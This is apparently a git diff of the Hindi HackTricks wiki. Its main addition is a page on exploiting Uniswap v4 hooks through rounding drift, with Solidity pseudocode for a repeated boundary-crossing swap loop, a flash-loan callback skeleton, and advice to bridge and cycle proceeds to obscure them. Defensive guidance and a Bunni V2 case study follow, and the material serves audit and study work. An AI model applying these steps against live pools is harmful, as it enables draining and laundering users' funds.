एथेरियम में लेनदेन में एक प्रेषक और एक प्राप्तकर्ता शामिल होते हैं, जो या तो उपयोगकर्ता या स्मार्ट अनुबंध पते हो सकते हैं। इन्हें एक शुल्क की आवश्यकता होती है और इन्हें खनन किया जाना चाहिए। एक लेनदेन में आवश्यक जानकारी में प्राप्तकर्ता, प्रेषक का हस्ताक्षर, मूल्य, वैकल्पिक डेटा, गैस सीमा, और शुल्क शामिल होते हैं। विशेष रूप से, प्रेषक का पता हस्ताक्षर से निकाला जाता है, जिससे लेनदेन डेटा में इसकी आवश्यकता समाप्त हो जाती है।
Ethereum में लेनदेन में एक sender और एक recipient शामिल होते हैं, जो उपयोगकर्ता या smart contract पतों में से कोई भी हो सकते हैं। इनके लिए एक fee आवश्यक है और इन्हें mined होना होता है। किसी लेनदेन की मौलिक जानकारी में recipient, sender का signature, value, वैकल्पिक data, gas limit और fees शामिल हैं। उल्लेखनीय है कि sender का पता signature से निकाला जाता है, इसलिए वह transaction डेटा में अलग से शामिल करने की आवश्यकता नहीं होती।
ये प्रथाएँ और तंत्र उन सभी के लिए मौलिक हैं जो क्रिप्टोक्यूरेंसी के साथ संलग्न होना चाहते हैं जबकि गोपनीयता और सुरक्षा को प्राथमिकता देते हैं।
ये प्रथाएँ और तंत्र किसी भी व्यक्ति के लिए बुनियादी हैं जो गोपनीयता और सुरक्षा को प्राथमिकता देते हुए क्रिप्टोकरेंसी के साथ जुड़ना चाहते हैं।
## संदर्भ
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -179,4 +181,12 @@
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## DeFi/AMM Exploitation
यदि आप DEXes और AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps) के practical exploitation का शोध कर रहे हैं, तो देखें:
{{#ref}}
defi-amm-hook-precision.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

160
src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md Normal file
View File

@ -0,0 +1,160 @@
# DeFi/AMM शोषण: Uniswap v4 Hook Precision/Rounding Abuse
{{#include ../../banners/hacktricks-training.md}}
यह पृष्ठ Uniswap v4–style DEXes के खिलाफ एक क्लास के DeFi/AMM शोषण तकनीकों का दस्तावेज़ीकरण करता है जो core math को custom hooks के साथ बढ़ाती हैं। हाल का एक घटना Bunni V2 में Liquidity Distribution Function (LDF) के एक rounding/precision दोष का उपयोग करके हुई थी, जो हर swap पर चलता था और attacker को positive credits जमा करने और liquidity निकालने में सक्षम बनाती थी।
मुख्य विचार: यदि किसी hook में अतिरिक्त accounting लागू है जो fixed‑point math, tick rounding, और threshold logic पर निर्भर करती है, तो attacker ऐसे exact‑input swaps तैयार कर सकता है जो विशिष्ट thresholds को पार करें ताकि rounding विसंगतियाँ उनके फायदे में जमा हो जाएँ। इस पैटर्न को दोहराकर और फिर inflate किए गए बैलेंस को निकालकर मुनाफा प्राप्त किया जा सकता है, अक्सर flash loan से फंड करके।
## पृष्ठभूमि: Uniswap v4 hooks और swap flow
- Hooks वे contracts हैं जिन्हें PoolManager lifecycle के specific points पर कॉल करता है (उदा., beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity)।
- Pools को PoolKey के साथ initialize किया जाता है जिसमें hooks address शामिल होता है। अगर non‑zero है, तो PoolManager हर संबंधित ऑपरेशन पर callbacks चलाता है।
- Core math fixed‑point formats का उपयोग करती है जैसे Q64.96 for sqrtPriceX96 और tick arithmetic 1.0001^tick के साथ। ऊपर लेयर्ड कोई भी custom math rounding semantics को सावधानी से मिलाना चाहिए ताकि invariant drift न हो।
- Swaps exactInput या exactOutput हो सकते हैं। v3/v4 में, price ticks के साथ चलता है; एक tick boundary को पार करने से range liquidity activate/deactivate हो सकती है। Hooks threshold/tick crossings पर अतिरिक्त लॉजिक लागू कर सकते हैं।
## Vulnerability archetype: threshold‑crossing precision/rounding drift
custom hooks में एक सामान्य vulnerable pattern:
1. Hook per‑swap liquidity या balance deltas की गणना integer division, mulDiv, या fixed‑point conversions (उदा., token ↔ liquidity using sqrtPrice और tick ranges) का उपयोग करके करता है।
2. Threshold logic (उदा., rebalancing, stepwise redistribution, या per‑range activation) तब ट्रिगर होती है जब swap size या price movement किसी internal boundary को पार करता है।
3. Rounding inconsistently लागू होता है (उदा., truncation toward zero, floor versus ceil) forward calculation और settlement path के बीच। छोटी विसंगतियाँ cancel नहीं होतीं और इसके बजाय caller को credit कर देती हैं।
4. Exact‑input swaps, ठीक उसी आकार के जिनका उद्देश्य उन boundaries को straddle करना होता है, बार‑बार positive rounding remainder को harvest करते हैं। बाद में attacker accumulated credit को withdrawal के माध्यम से निकालता है।
Attack preconditions
- एक pool जो custom v4 hook का उपयोग कर रहा हो जो प्रत्येक swap पर अतिरिक्त math करता है (उदा., एक LDF/rebalancer)।
- कम से कम एक execution path जहाँ rounding swap initiator को threshold crossings पर लाभ पहुंचाती हो।
- कई swaps को atomically repeat करने की क्षमता (flash loans अस्थायी float प्रदान करने और gas amortize करने के लिए आदर्श हैं)।
## Practical attack methodology
1) Identify candidate pools with hooks
- v4 pools enumerate करें और PoolKey.hooks != address(0) जांचें।
- hook bytecode/ABI inspect करें callbacks के लिए: beforeSwap/afterSwap और कोई भी custom rebalancing methods।
- ऐसी math देखें जो: liquidity से divide करती है, token amounts और liquidity के बीच convert करती है, या BalanceDelta को rounding के साथ aggregate करती है।
2) Model the hook’s math and thresholds
- Hook की liquidity/redistribution formula recreate करें: inputs आमतौर पर sqrtPriceX96, tickLower/Upper, currentTick, fee tier, और net liquidity शामिल करते हैं।
- threshold/step functions का map बनाएं: ticks, bucket boundaries, या LDF breakpoints। निर्धारित करें कि प्रत्येक boundary के किन पक्षों पर delta को कैसे rounded किया जाता है।
- Identify करें जहाँ conversions uint256/int256 के बीच cast होते हैं, SafeCast का उपयोग होता है, या mulDiv पर implicit floor निर्भर है।
3) Calibrate exact‑input swaps to cross boundaries
- Foundry/Hardhat simulations का उपयोग करके minimal Δin compute करें जो price को boundary के ठीक पार ले जाए और hook की branch trigger करे।
- Verify करें कि afterSwap settlement caller को cost से अधिक credit करती है, जिससे positive BalanceDelta या hook के accounting में credit बचता है।
- Swaps को repeat करके credit accumulate करें; फिर hook के withdrawal/settlement path को कॉल करें।
Example Foundry‑style test harness (pseudocode)
```solidity
function test_precision_rounding_abuse() public {
// 1) Arrange: set up pool with hook
PoolKey memory key = PoolKey({
currency0: USDC,
currency1: USDT,
fee: 500, // 0.05%
tickSpacing: 10,
hooks: address(bunniHook)
});
pm.initialize(key, initialSqrtPriceX96);
// 2) Determine a boundary‑crossing exactInput
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
// 3) Loop swaps to accrue rounding credit
for (uint i; i < N; ++i) {
pm.swap(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: int256(exactIn), // exactInput
sqrtPriceLimitX96: 0 // allow tick crossing
}),
""
);
}
// 4) Realize inflated credit via hook‑exposed withdrawal
bunniHook.withdrawCredits(msg.sender);
}
```
exactInput को कैलिब्रेट करना
- एक tick step के लिए ΔsqrtP की गणना करें: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
- v3/v4 सूत्रों का उपयोग करके Δin का अनुमान लगाएँ: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). सुनिश्चित करें कि राउंडिंग दिशा कोर गणित के अनुरूप हो।
- बाउंडरी के आसपास Δin को ±1 wei से समायोजित करें ताकि वह ब्रांच मिल सके जहाँ hook आपके पक्ष में राउंड करे।
4) flash loans के साथ प्रभाव बढ़ाएँ
- कई iterations को atomic तरीके से चलाने के लिए एक बड़ी notional राशि उधार लें (उदा., 3M USDT या 2000 WETH)।
- calibrated swap loop को execute करें, फिर flash loan callback के अंदर withdraw और repay करें।
Aave V3 flash loan का ढांचा
```solidity
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// run threshold‑crossing swap loop here
for (uint i; i < N; ++i) {
_exactInBoundaryCrossingSwap();
}
// realize credits / withdraw inflated balances
bunniHook.withdrawCredits(address(this));
// repay
for (uint j; j < assets.length; ++j) {
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
}
return true;
}
```
5) निकास और क्रॉस‑चेन प्रतिकरण
- यदि hooks कई chains पर परिनियोजित हैं, तो प्रत्येक chain के लिए वही calibration दोहराएँ।
- Bridge proceeds back to the target chain और वैकल्पिक रूप से फ्लो को अस्पष्ट करने के लिए lending protocols के माध्यम से चक्रित करें।
## Common root causes in hook math
- Mixed rounding semantics: mulDiv floors जबकि बाद के रास्ते प्रभावी रूप से round up करते हैं; या token/liquidity के बीच conversions में अलग राउंडिंग लागू होती है।
- Tick alignment errors: एक path में unrounded ticks का उपयोग और दूसरे में tick‑spaced rounding।
- BalanceDelta sign/overflow issues जब settlement के दौरान int256 और uint256 के बीच conversion होता है।
- Precision loss in Q64.96 conversions (sqrtPriceX96) जो reverse mapping में प्रतिबिंबित नहीं होता।
- Accumulation pathways: per‑swap remainders को credits के रूप में ट्रैक किया जाना जो caller द्वारा withdrawable हो सकते हैं बजाय इसके कि वे burned/zero‑sum हों।
## Defensive guidance
- Differential testing: hook की math को एक reference implementation के साथ high‑precision rational arithmetic का उपयोग करके mirror करें और equality या bounded error को assert करें जो हमेशा adversarial हो (कभी caller के पक्ष में नहीं)।
- Invariant/property tests:
- swap paths और hook adjustments में deltas (tokens, liquidity) का योग fees के मोड्यूलो के सापेक्ष वैल्यू को संरक्षित करना चाहिए।
- किसी भी path को repeated exactInput iterations के दौरान swap initiator के लिए positive net credit नहीं बनाना चाहिए।
- ±1 wei इनपुट के आसपास threshold/tick boundary tests चलाएँ, दोनों exactInput और exactOutput के लिए।
- Rounding policy: ऐसे rounding helpers को केंद्रीकृत करें जो हमेशा user के खिलाफ राउंड करें; inconsistent casts और implicit floors को हटाएँ।
- Settlement sinks: अनिवार्य rounding residue को protocol treasury में संचित करें या उसे burn करें; इसे कभी भी msg.sender को attribute न करें।
- Rate‑limits/guardrails: rebalancing triggers के लिए minimum swap sizes निर्धारित करें; यदि deltas sub‑wei हैं तो rebalances को disable करें; deltas को expected ranges के खिलाफ sanity‑check करें।
- Hook callbacks की समग्र समीक्षा करें: beforeSwap/afterSwap और before/after liquidity changes को tick alignment और delta rounding पर सहमत होना चाहिए।
## Case study: Bunni V2 (2025‑09‑02)
- Protocol: Bunni V2 (Uniswap v4 hook) जिसमें प्रति swap rebalancing के लिए एक LDF लागू था।
- Root cause: threshold‑crossing swaps के दौरान LDF liquidity accounting में rounding/precision त्रुटि; per‑swap असंगतियाँ caller के लिए positive credits के रूप में जमा हो गयीं।
- Ethereum leg: attacker ने ~3M USDT flash loan ली, USDC/USDT पर calibrated exact‑input swaps करके credits बनाए, inflated balances निकाले, repaid किया, और funds को Aave के माध्यम से route किया।
- UniChain leg: exploit को 2000 WETH flash loan के साथ दोहराया, लगभग 1366 WETH siphon किए और Ethereum पर bridge किया।
- Impact: लगभग USD 8.3M कई chains में निकाले गए। किसी user interaction की आवश्यकता नहीं थी; पूरी प्रक्रिया on‑chain थी।
## Hunting checklist
- क्या pool किसी non‑zero hooks address का उपयोग करता है? कौन से callbacks enabled हैं?
- क्या per‑swap redistributions/rebalances custom math का उपयोग करते हैं? कोई tick/threshold logic है?
- divisions/mulDiv, Q64.96 conversions, या SafeCast कहाँ उपयोग हो रहे हैं? क्या rounding semantics वैश्विक रूप से consistent हैं?
- क्या आप ऐसा Δin बना सकते हैं जो लगभग boundary को पार करे और favorable rounding branch दे? दोनों दिशाओं और दोनों exactInput तथा exactOutput के लिए टेस्ट करें।
- क्या hook per‑caller credits या deltas ट्रैक करता है जिन्हें बाद में withdraw किया जा सकता है? सुनिश्चित करें कि residue neutralized हो।
## References
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
{{#include ../../banners/hacktricks-training.md}}

182
src/crypto-and-stego/blockchain-and-crypto-currencies.md
View File

@ -1,182 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
## मूल अवधारणाएँ
- **स्मार्ट कॉन्ट्रैक्ट्स** को उन प्रोग्रामों के रूप में परिभाषित किया जाता है जो एक ब्लॉकचेन पर तब निष्पादित होते हैं जब कुछ शर्तें पूरी होती हैं, मध्यस्थों के बिना समझौतों के निष्पादन को स्वचालित करते हैं।
- **विकेंद्रीकृत अनुप्रयोग (dApps)** स्मार्ट कॉन्ट्रैक्ट्स पर आधारित होते हैं, जिनमें उपयोगकर्ता के अनुकूल फ्रंट-एंड और पारदर्शी, ऑडिट करने योग्य बैक-एंड होता है।
- **टोकन और सिक्के** में अंतर होता है, जहाँ सिक्के डिजिटल पैसे के रूप में कार्य करते हैं, जबकि टोकन विशिष्ट संदर्भों में मूल्य या स्वामित्व का प्रतिनिधित्व करते हैं।
- **यूटिलिटी टोकन** सेवाओं तक पहुँच प्रदान करते हैं, और **सिक्योरिटी टोकन** संपत्ति के स्वामित्व का संकेत देते हैं।
- **DeFi** का अर्थ विकेंद्रीकृत वित्त है, जो केंद्रीय प्राधिकरणों के बिना वित्तीय सेवाएँ प्रदान करता है।
- **DEX** और **DAOs** क्रमशः विकेंद्रीकृत एक्सचेंज प्लेटफार्मों और विकेंद्रीकृत स्वायत्त संगठनों को संदर्भित करते हैं।
## सहमति तंत्र
सहमति तंत्र ब्लॉकचेन पर सुरक्षित और सहमति से लेनदेन की मान्यता सुनिश्चित करते हैं:
- **प्रूफ ऑफ वर्क (PoW)** लेनदेन की सत्यापन के लिए कंप्यूटेशनल शक्ति पर निर्भर करता है।
- **प्रूफ ऑफ स्टेक (PoS)** सत्यापनकर्ताओं से एक निश्चित मात्रा में टोकन रखने की मांग करता है, जो PoW की तुलना में ऊर्जा की खपत को कम करता है।
## बिटकॉइन आवश्यकताएँ
### लेनदेन
बिटकॉइन लेनदेन में पते के बीच धन का हस्तांतरण शामिल होता है। लेनदेन को डिजिटल हस्ताक्षरों के माध्यम से मान्य किया जाता है, यह सुनिश्चित करते हुए कि केवल निजी कुंजी का मालिक ही हस्तांतरण शुरू कर सकता है।
#### प्रमुख घटक:
- **मल्टीसिग्नेचर लेनदेन** को एक लेनदेन को अधिकृत करने के लिए कई हस्ताक्षरों की आवश्यकता होती है।
- लेनदेन में **इनपुट** (धन का स्रोत), **आउटपुट** (गंतव्य), **शुल्क** (खननकर्ताओं को भुगतान किया गया), और **स्क्रिप्ट** (लेनदेन के नियम) शामिल होते हैं।
### लाइटनिंग नेटवर्क
बिटकॉइन की स्केलेबिलिटी को बढ़ाने का लक्ष्य है, जिससे एक चैनल के भीतर कई लेनदेन किए जा सकें, केवल अंतिम स्थिति को ब्लॉकचेन पर प्रसारित किया जाए।
## बिटकॉइन गोपनीयता चिंताएँ
गोपनीयता हमले, जैसे **कॉमन इनपुट ओनरशिप** और **UTXO चेंज एड्रेस डिटेक्शन**, लेनदेन के पैटर्न का लाभ उठाते हैं। **मिक्सर्स** और **कोइनजॉइन** जैसी रणनीतियाँ उपयोगकर्ताओं के बीच लेनदेन के लिंक को अस्पष्ट करके गुमनामी में सुधार करती हैं।
## बिटकॉइन को गुमनाम रूप से प्राप्त करना
विधियों में नकद व्यापार, खनन, और मिक्सर्स का उपयोग शामिल है। **कोइनजॉइन** कई लेनदेन को मिलाकर ट्रेसबिलिटी को जटिल बनाता है, जबकि **पे-जॉइन** कोइनजॉइन को नियमित लेनदेन के रूप में छिपाता है ताकि गोपनीयता बढ़ सके।
# बिटकॉइन गोपनीयता हमले
# बिटकॉइन गोपनीयता हमलों का सारांश
बिटकॉइन की दुनिया में, लेनदेन की गोपनीयता और उपयोगकर्ताओं की गुमनामी अक्सर चिंता का विषय होती है। यहाँ कुछ सामान्य तरीकों का सरल अवलोकन है जिनके माध्यम से हमलावर बिटकॉइन की गोपनीयता को खतरे में डाल सकते हैं।
## **कॉमन इनपुट ओनरशिप अनुमान**
यह सामान्यतः दुर्लभ है कि विभिन्न उपयोगकर्ताओं के इनपुट को एक ही लेनदेन में जोड़ा जाए क्योंकि इसमें जटिलता होती है। इसलिए, **एक ही लेनदेन में दो इनपुट पते अक्सर एक ही मालिक के होने का अनुमान लगाया जाता है**।
## **UTXO चेंज एड्रेस डिटेक्शन**
एक UTXO, या **अनस्पेंट ट्रांजैक्शन आउटपुट**, को एक लेनदेन में पूरी तरह से खर्च किया जाना चाहिए। यदि इसका केवल एक भाग किसी अन्य पते पर भेजा जाता है, तो शेष एक नए चेंज पते पर जाता है। पर्यवेक्षक यह मान सकते हैं कि यह नया पता भेजने वाले का है, जिससे गोपनीयता का उल्लंघन होता है।
### उदाहरण
इससे बचने के लिए, मिक्सिंग सेवाएँ या कई पते का उपयोग स्वामित्व को अस्पष्ट करने में मदद कर सकते हैं।
## **सोशल नेटवर्क और फोरम का प्रदर्शन**
उपयोगकर्ता कभी-कभी अपने बिटकॉइन पते को ऑनलाइन साझा करते हैं, जिससे **पते को उसके मालिक से जोड़ना आसान हो जाता है**।
## **लेनदेन ग्राफ विश्लेषण**
लेनदेन को ग्राफ के रूप में दृश्य रूप में प्रस्तुत किया जा सकता है, जो उपयोगकर्ताओं के बीच संभावित संबंधों को धन के प्रवाह के आधार पर प्रकट करता है।
## **अनावश्यक इनपुट ह्यूरिस्टिक (ऑप्टिमल चेंज ह्यूरिस्टिक)**
यह ह्यूरिस्टिक कई इनपुट और आउटपुट वाले लेनदेन का विश्लेषण करके अनुमान लगाने पर आधारित है कि कौन सा आउटपुट भेजने वाले को वापस लौटने वाला परिवर्तन है।
### उदाहरण
```bash
2 btc --> 4 btc
3 btc 1 btc
```
यदि अधिक इनपुट जोड़ने से आउटपुट किसी एकल इनपुट से बड़ा हो जाता है, तो यह ह्यूरिस्टिक को भ्रमित कर सकता है।
## **फोर्स्ड एड्रेस रीयूज**
हमलावर पहले से उपयोग किए गए पते पर छोटे-छोटे अमाउंट भेज सकते हैं, यह उम्मीद करते हुए कि प्राप्तकर्ता भविष्य के लेनदेन में इन्हें अन्य इनपुट के साथ मिलाएगा, जिससे पते आपस में जुड़े रहेंगे।
### सही वॉलेट व्यवहार
वॉलेट को पहले से उपयोग किए गए, खाली पते पर प्राप्त किए गए सिक्कों का उपयोग करने से बचना चाहिए ताकि इस गोपनीयता लीक को रोका जा सके।
## **अन्य ब्लॉकचेन विश्लेषण तकनीकें**
- **सटीक भुगतान राशि:** बिना परिवर्तन के लेनदेन संभवतः एक ही उपयोगकर्ता के दो पते के बीच होते हैं।
- **गोल नंबर:** लेनदेन में गोल संख्या यह सुझाव देती है कि यह एक भुगतान है, जिसमें गैर-गोल आउटपुट संभवतः परिवर्तन है।
- **वॉलेट फिंगरप्रिंटिंग:** विभिन्न वॉलेट के पास लेनदेन निर्माण के अद्वितीय पैटर्न होते हैं, जिससे विश्लेषकों को उपयोग किए गए सॉफ़्टवेयर और संभावित रूप से परिवर्तन पते की पहचान करने की अनुमति मिलती है।
- **राशि और समय संबंध:** लेनदेन के समय या राशियों का खुलासा लेनदेन को ट्रेस करने योग्य बना सकता है।
## **ट्रैफिक विश्लेषण**
नेटवर्क ट्रैफिक की निगरानी करके, हमलावर संभावित रूप से लेनदेन या ब्लॉकों को आईपी पते से जोड़ सकते हैं, जिससे उपयोगकर्ता की गोपनीयता से समझौता हो सकता है। यह विशेष रूप से सच है यदि कोई इकाई कई बिटकॉइन नोड्स संचालित करती है, जिससे उनके लेनदेन की निगरानी करने की क्षमता बढ़ जाती है।
## अधिक
गोपनीयता हमलों और रक्षा के लिए एक व्यापक सूची के लिए, [Bitcoin Wiki पर Bitcoin Privacy](https://en.bitcoin.it/wiki/Privacy) पर जाएं।
# गुमनाम बिटकॉइन लेनदेन
## गुमनाम रूप से बिटकॉइन प्राप्त करने के तरीके
- **नकद लेनदेन**: नकद के माध्यम से बिटकॉइन प्राप्त करना।
- **नकद विकल्प**: उपहार कार्ड खरीदना और उन्हें ऑनलाइन बिटकॉइन के लिए बदलना।
- **माइनिंग**: बिटकॉइन कमाने का सबसे निजी तरीका माइनिंग है, विशेष रूप से जब इसे अकेले किया जाता है क्योंकि माइनिंग पूल माइनर के आईपी पते को जान सकते हैं। [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **चोरी**: सिद्धांत रूप से, बिटकॉइन चुराना गुमनाम रूप से इसे प्राप्त करने का एक और तरीका हो सकता है, हालांकि यह अवैध है और अनुशंसित नहीं है।
## मिक्सिंग सेवाएँ
मिक्सिंग सेवा का उपयोग करके, एक उपयोगकर्ता **बिटकॉइन भेज सकता है** और **वापस में विभिन्न बिटकॉइन प्राप्त कर सकता है**, जिससे मूल मालिक को ट्रेस करना कठिन हो जाता है। फिर भी, यह सेवा पर भरोसा करने की आवश्यकता होती है कि यह लॉग नहीं रखेगी और वास्तव में बिटकॉइन वापस करेगी। वैकल्पिक मिक्सिंग विकल्पों में बिटकॉइन कैसीनो शामिल हैं।
## CoinJoin
**CoinJoin** विभिन्न उपयोगकर्ताओं के कई लेनदेन को एक में मिलाता है, जिससे किसी के लिए इनपुट को आउटपुट से मिलाना जटिल हो जाता है। इसके प्रभावी होने के बावजूद, अद्वितीय इनपुट और आउटपुट आकार वाले लेनदेन को अभी भी संभावित रूप से ट्रेस किया जा सकता है।
उदाहरण लेनदेन जो CoinJoin का उपयोग कर सकते हैं उनमें `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` और `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` शामिल हैं।
अधिक जानकारी के लिए, [CoinJoin](https://coinjoin.io/en) पर जाएं। एथेरियम पर समान सेवा के लिए, [Tornado Cash](https://tornado.cash) देखें, जो खनिकों के फंड से लेनदेन को गुमनाम बनाता है।
## PayJoin
CoinJoin का एक रूप, **PayJoin** (या P2EP), दो पक्षों (जैसे, एक ग्राहक और एक व्यापारी) के बीच लेनदेन को एक सामान्य लेनदेन के रूप में छुपाता है, बिना CoinJoin की विशिष्ट समान आउटपुट विशेषता के। यह इसे पहचानना अत्यंत कठिन बनाता है और लेनदेन निगरानी संस्थाओं द्वारा उपयोग की जाने वाली सामान्य-इनपुट-स्वामित्व ह्यूरिस्टिक को अमान्य कर सकता है।
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
उपरोक्त जैसी लेनदेन PayJoin हो सकते हैं, जो गोपनीयता को बढ़ाते हैं जबकि मानक बिटकॉइन लेनदेन से भिन्न नहीं होते।
**PayJoin का उपयोग पारंपरिक निगरानी विधियों को महत्वपूर्ण रूप से बाधित कर सकता है**, जो लेनदेन की गोपनीयता की खोज में एक आशाजनक विकास है।
# क्रिप्टोक्यूरेंसी में गोपनीयता के लिए सर्वोत्तम प्रथाएँ
## **वॉलेट समन्वय तकनीकें**
गोपनीयता और सुरक्षा बनाए रखने के लिए, ब्लॉकचेन के साथ वॉलेट का समन्वय करना महत्वपूर्ण है। दो विधियाँ प्रमुख हैं:
- **पूर्ण नोड**: पूरे ब्लॉकचेन को डाउनलोड करके, एक पूर्ण नोड अधिकतम गोपनीयता सुनिश्चित करता है। सभी लेनदेन जो कभी किए गए हैं, स्थानीय रूप से संग्रहीत होते हैं, जिससे प्रतिकूलों के लिए यह पहचानना असंभव हो जाता है कि उपयोगकर्ता किस लेनदेन या पते में रुचि रखता है।
- **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग**: यह विधि ब्लॉकचेन में प्रत्येक ब्लॉक के लिए फ़िल्टर बनाने में शामिल होती है, जिससे वॉलेट्स को नेटवर्क पर्यवेक्षकों के लिए विशिष्ट रुचियों को उजागर किए बिना प्रासंगिक लेनदेन की पहचान करने की अनुमति मिलती है। हल्के वॉलेट्स इन फ़िल्टरों को डाउनलोड करते हैं, केवल तब पूर्ण ब्लॉक लाते हैं जब उपयोगकर्ता के पते के साथ मेल मिलता है।
## **गोपनीयता के लिए टोर का उपयोग करना**
चूंकि बिटकॉइन एक पीयर-टू-पीयर नेटवर्क पर काम करता है, अपने आईपी पते को छिपाने के लिए टोर का उपयोग करने की सिफारिश की जाती है, जिससे नेटवर्क के साथ बातचीत करते समय गोपनीयता बढ़ती है।
## **पते के पुन: उपयोग को रोकना**
गोपनीयता की सुरक्षा के लिए, हर लेनदेन के लिए एक नया पता उपयोग करना महत्वपूर्ण है। पते का पुन: उपयोग गोपनीयता को खतरे में डाल सकता है क्योंकि यह लेनदेन को एक ही इकाई से जोड़ता है। आधुनिक वॉलेट्स अपने डिज़ाइन के माध्यम से पते के पुन: उपयोग को हतोत्साहित करते हैं।
## **लेनदेन की गोपनीयता के लिए रणनीतियाँ**
- **कई लेनदेन**: एक भुगतान को कई लेनदेन में विभाजित करना लेनदेन की राशि को अस्पष्ट कर सकता है, गोपनीयता हमलों को विफल कर सकता है।
- **परिवर्तन से बचना**: ऐसे लेनदेन का चयन करना जो परिवर्तन आउटपुट की आवश्यकता नहीं रखते हैं, गोपनीयता को बढ़ाता है क्योंकि यह परिवर्तन पहचान विधियों को बाधित करता है।
- **कई परिवर्तन आउटपुट**: यदि परिवर्तन से बचना संभव नहीं है, तो कई परिवर्तन आउटपुट उत्पन्न करना भी गोपनीयता में सुधार कर सकता है।
# **मोनरो: एक गोपनीयता का प्रकाशस्तंभ**
मोनरो डिजिटल लेनदेन में पूर्ण गोपनीयता की आवश्यकता को संबोधित करता है, जो गोपनीयता के लिए एक उच्च मानक स्थापित करता है।
# **एथेरियम: गैस और लेनदेन**
## **गैस को समझना**
गैस एथेरियम पर संचालन को निष्पादित करने के लिए आवश्यक गणनात्मक प्रयास को मापता है, जिसे **ग्वेई** में मूल्यांकित किया जाता है। उदाहरण के लिए, 2,310,000 ग्वेई (या 0.00231 ETH) की लागत वाला एक लेनदेन गैस सीमा और एक आधार शुल्क शामिल करता है, जिसमें खनिकों को प्रोत्साहित करने के लिए एक टिप होती है। उपयोगकर्ता अधिक भुगतान न करने के लिए अधिकतम शुल्क निर्धारित कर सकते हैं, और अतिरिक्त राशि वापस की जाती है।
## **लेनदेन निष्पादित करना**
एथेरियम में लेनदेन में एक प्रेषक और एक प्राप्तकर्ता शामिल होते हैं, जो या तो उपयोगकर्ता या स्मार्ट अनुबंध पते हो सकते हैं। इन्हें एक शुल्क की आवश्यकता होती है और इन्हें खनन किया जाना चाहिए। लेनदेन में आवश्यक जानकारी में प्राप्तकर्ता, प्रेषक का हस्ताक्षर, मूल्य, वैकल्पिक डेटा, गैस सीमा, और शुल्क शामिल होते हैं। विशेष रूप से, प्रेषक का पता हस्ताक्षर से निकाला जाता है, जिससे लेनदेन डेटा में इसकी आवश्यकता समाप्त हो जाती है।
ये प्रथाएँ और तंत्र उन सभी के लिए मौलिक हैं जो गोपनीयता और सुरक्षा को प्राथमिकता देते हुए क्रिप्टोक्यूरेंसी के साथ संलग्न होना चाहते हैं।
## संदर्भ
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
{{#include ../banners/hacktricks-training.md}}

236
src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
View File

@ -1,17 +1,17 @@
# Electron डेस्कटॉप ऐप्स
# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## परिचय
Electron एक स्थानीय backend (with **NodeJS**) और frontend (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ security mechanisms की कमी होती है।
Electron स्थानीय बैकएंड (जिसमें **NodeJS** है) और फ्रंटएंड (**Chromium**) को मिलाता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्र नहीं होते।
आम तौर पर आप electron app का code `.asar` application के अंदर पाएँगे; code प्राप्त करने के लिए आपको इसे extract करना होगा:
आमतौर पर आप Electron ऐप का कोड `.asar` एप्लिकेशन के अंदर पाएँगे; कोड प्राप्त करने के लिए आपको इसे एक्सट्रैक्ट करना होगा:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
